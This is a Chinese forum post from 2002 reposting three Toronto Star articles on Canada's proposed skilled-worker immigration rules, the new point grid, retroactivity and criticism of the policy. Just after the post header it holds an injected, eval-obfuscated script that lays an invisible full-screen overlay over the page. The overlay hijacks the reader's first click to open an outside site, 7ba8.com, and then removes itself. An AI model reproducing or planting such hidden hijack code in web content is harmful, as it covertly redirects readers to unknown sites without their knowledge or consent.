标题: 加国新法 遭受阻击 [打印本页] 作者: lingfang 时间: 2002-1-11 04:51 标题: 加国新法 遭受阻击 <script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>加国内反对新法呼声强烈,摘抄其中几篇供大家参考。
How new rules work
Allan Thomspon
Q I have been reading that changes to the immigration rules are to be applied retroactively to applications already in the system. Is this true? I have a brother overseas who applied this summer to come to Canada as an independent immigrant. Will his file be affected?
A Because your brother's application is in the system, it may well be affected one way or another by the changes to the rules that are now under consideration. The degree to which the new rules will be applied retroactively depends on when the application was submitted and whether the applicant has passed the interview stage. I'll explain this in more detail, so the answer will also be of use to others who have questions about the new regulations.
On Dec. 17, the immigration department made public its set of proposed regulations, the detailed changes to the rules it has to put in place to implement the new immigration law passed in November. The new law is scheduled to come into effect next June. The law gives a rough outline of Canada's immigration policy but the regulations provide the nitty-gritty details of how the law will be put into effect.
The proposed regulations made public on Dec. 17, deal with a host of changes to such things as how refugee claims will be dealt with, family class immigration, economic or independent class immigration and the arrival of temporary workers. I say proposed because, in theory, some of these provisions could change after the regulations are examined by a House of Commons committee in February. So stay tuned, some of these proposed rules could be amended yet again.
The proposed changes that are causing the most controversy ?and could affect your brother ?involve economic immigrants, specifically skilled workers who are selected according to the point system.
Under the existing point system, economic immigrants are selected according to a grid that awards points based on their age, education, occupation, training related to that occupation, a job offer, work experience, language skills, and family connections in Canada. The pass mark is 70 points out of a possible 110.
The new point grid will no longer award points for a specific occupation and will put more emphasis on education, language, experience and such ties to Canada as a job offer, pre-arranged work permit or family link. The new grid will have a pass mark of 80 out of a possible 100 points.
Some critics say the pass mark of 80 is too high and that it will be more difficult for some skilled workers to get into Canada under the new system. But the immigration department says people with solid work experience and adaptable skills will benefit from the new grid, especially people who were excluded before because their occupations weren't on the list. Immigration officials, however, also admit that some people with applications in the system who would have qualified under the old system will not meet the test under the new grid.
That brings us to the question of retroactivity and whether the new rules will apply to applications already in the system. In the past, when the point system was changed, the immigration department used a blanket "grandfather'' clause guaranteeing that all files in the system at the time of the rule change would be processed under the old regime.
This time around, the immigration department is going to apply the new rules to some of the files already in the system. This is how it will work.
The new rules for skilled workers are expected to come into force on June 28, 2002. The immigration department will make a distinction between applications received before and after Dec. 17, 2001 ?the day the proposed rule changes were formally announced.
Applicants who have been interviewed or told their interviews have been waived before the new rules come into effect on June 28 will continue to be assessed under the old system.
Applicants who applied on or after Dec. 17 and don't reach the interview stage before June 28, will be processed under the new system and with a pass mark of 80 ?regardless of whether they would have fared better under the old rules.
There will be no refund of the processing fees for applicants who are disqualified. Applicants who applied before Dec. 17 and who do not reach the interview stage before the new rules are implemented will be processed under the new system, but will receive a five-point bonus. They will require a lower pass mark of 75.
Unless your brother gets an interview before the rules change next June, he will probably fall into the last category ?people who applied before Dec. 17 and who will get a five-point bonus and must reach a pass mark of 75 out of 100 on the new grid to be selected.
To get a full copy of the detailed regulations, you can visit the Web site of the government publication in which they are published, the Canada Gazette, Part 1, issued Dec. 15. The direct link is: http://www.canada.gc.ca/gazette/ part1/pdf/g1-13550.pdf.
＊Allan Thompson, Life Section, Toronto Star, One Yonge St., Toronto, Ont. M5E 1E6.
--------------------------------------------------------------------------------
Most of us would find we're not up to standard for Canada
Harald Bauder
The average Canadian would not qualify for Canadian residence based on proposed immigration standards, according to census data.
In a statistical exercise, the newly proposed selection guidelines were matched with data from the 1996 census to examine how many Canadians would actually qualify to immigrate to Canada as skilled workers. The results indicate the vast majority of Canadians are not good enough for Canada.
According to Immigration Minister Elinor Caplan, the new legislation seeks to attract skilled workers who can outperform the Canadian-born population in the labour market within a few years of their arrival. Caplan disclosed in an interview with The Star that "the hard working, blue-collar immigrants who built this country" are a relic from the past. Instead, she is "looking to bring people here that will integrate and succeed quickly" in the knowledge-based economy.
The higher bar for immigration candidates implies that Canadian workers are lacking the qualities needed in today's labour market. The stricter immigration policy ensures that Canada balances this lack with more desirable human capital from developing countries, whose skills far exceed those of the average Canadian. In fact, most Canadians would be denied entry to Canada under proposed legislation.
Such applicants would be knocked out in the first round. The "skilled worker" category applies only to managers, professionals, technical and skilled traders, and paraprofessionals. Canadians in all other occupations would not even be considered for immigration under the skilled-workers category. Those who do would be subjected to a rigorous point system.
The newly proposed point system awards points on the basis of education, official languages, work experience, arranged employment, age and adaptability. Of these criteria, education, official languages and experience comprise 70 points of a total of 100 points. The minister has suggested that anyone with fewer than 80 points will not be admitted to Canada.
Most people who grew up in Canada speak at least one of the two official languages and, since they are Canadians, they would certainly be considered highly adaptable to Canadian society. They would score much higher in these categories than non-Canadians. In addition, many Canadians already have jobs in Canada and would obtain the 10 points for arranged employment. Canadians would have a large advantage over foreigners who apply for immigration from their countries of origin.
In spite of this advantage, only 26 per cent of Canadian-born men and 20 per cent of Canadian-born women over the age of 18 would qualify for immigration under the proposed skilled-workers program. Only 33 per cent of those in the desirable 21 to 44 age category, which gets the full 10-point age credit, would be eligible to land in Canada.
What do the high standards for immigration reveal about the agenda of our immigration policy? Caplan makes no bones about it: The skilled-workers program is designed to give Canada a leading edge in a competitive global economy. From a purely economic viewpoint, it would probably be most advantageous to strip all "unskilled" Canadians of their citizenship, expel them from Canada and replace them with the "best and brightest" immigrants the new policy seeks to attract.
Such a policy, however good for the economy, would likely be unpopular among Canadian voters.
The reality that most Canadians cannot live up to the standards of Canadian immigration policy raises some serious ethical issues. There is the fundamental problem of treating people differently simply because they were born in a different country. This differential treatment seems to contradict Canadians' keen sense for justice, equality and democracy.
Also, by tapping the world's "best and brightest," all Canadians can supposedly enjoy the economic benefits that economists predict will trickle down from the immigrants' labour. Whether this will actually happen or not, Canada's gain will be the other countries' loss, and this loss is felt most acutely in the developing world, which loses its best and brightest. This policy of luring skilled workers from poor countries contradicts efforts of the international community to assist these countries.
Much of Canadian immigrant regulation seems to be driven by the selfish pursuit of economic gain, rather than by motivations of democracy and equality. True, thousands of refugees are saved every year from political persecution and admitted to Canada based on humanitarian grounds, and tens of thousands more are happy to unite with their loved ones in Canada through the family-class immigration program. However, through the skilled-workers program Canada recruits the immigrants it deems most suitable for Canada. In this program the paradigm of economic gain overrides the objective of equality that we claim to embrace.
If we continue to drain poor countries of their human capital investments, the global divide between first and Third World will likely deepen. Moreover, if we do not change our perspective on immigration, our greed will render the equality of human beings mere rhetoric rather than a valued principle of our world.
＊Harald Bauder is assistant professor of geography at the University of Guelph.
--------------------------------------------------------------------------------
Liberal decries migrant policy
Valerie Lawton
Ottawa Bureau
OTTAWA ?A Toronto backbencher has broken ranks with his Liberal government by attacking a new immigration policy making it tougher to enter Canada and accusing Immigration Minister Elinor Caplan of making "callous" comments.
Jim Karygiannis, the MP for Scarborough-Agincourt, wrote to The Star to complain that the requirements will be applied retroactively ?possibly disqualifying thousands of current applicants mid-stream.
"In conversation with the minister she said and I quote: `These people are not our constituents...' I find this remark . . . callous. These people that have their applications in the system are brothers, sisters and children of Canadians that are trying to unite with their families in Canada," he wrote.
In an interview, Karygiannis said he and other members of the Liberal caucus weren't told that the new rules would apply retroactively.
"Retroactivity is totally unfair," he said, adding he plans to continue pushing Caplan to change her mind and will ask other Liberal MPs to do so as well.
His letter adds: "I am certain after having talked to a number of members of Parliament, that had retroactivity as well as what other hidden agendas (which the immigration department has) been brought forward to light during our deliberations over Bill C-11 (the Immigration and Refugee Protection Act) or Bill C-36 (the Anti-Terrorism Act) the minister would have faced stiffer opposition to this proposal."
He argues the planned rule changes create a system so strict that his father, a shoemaker, would never have been allowed to immigrate to Canada, and that the minister herself wouldn't "even pass the gate in her personal credentials under these rules."
The MP said he also wonders what other changes the immigration department could have "up its sleeve."
Caplan's press secretary, Derik Hodgson, said MPs had been told about how the new rules would be applied. He also said yesterday that a committee is studying the regulations, and that Caplan would appear before it when the House of Commons returns.
"Mr. Karygiannis should probably come to committee to make his point," said Hodgson. "He's got the cart before the horse here." Caplan is "certainly not callous," he said, adding that the new rules don't apply to Canada's family reunification immigration program.
Adults pay $500 each in a non-refundable processing fee and $100 for each dependent child.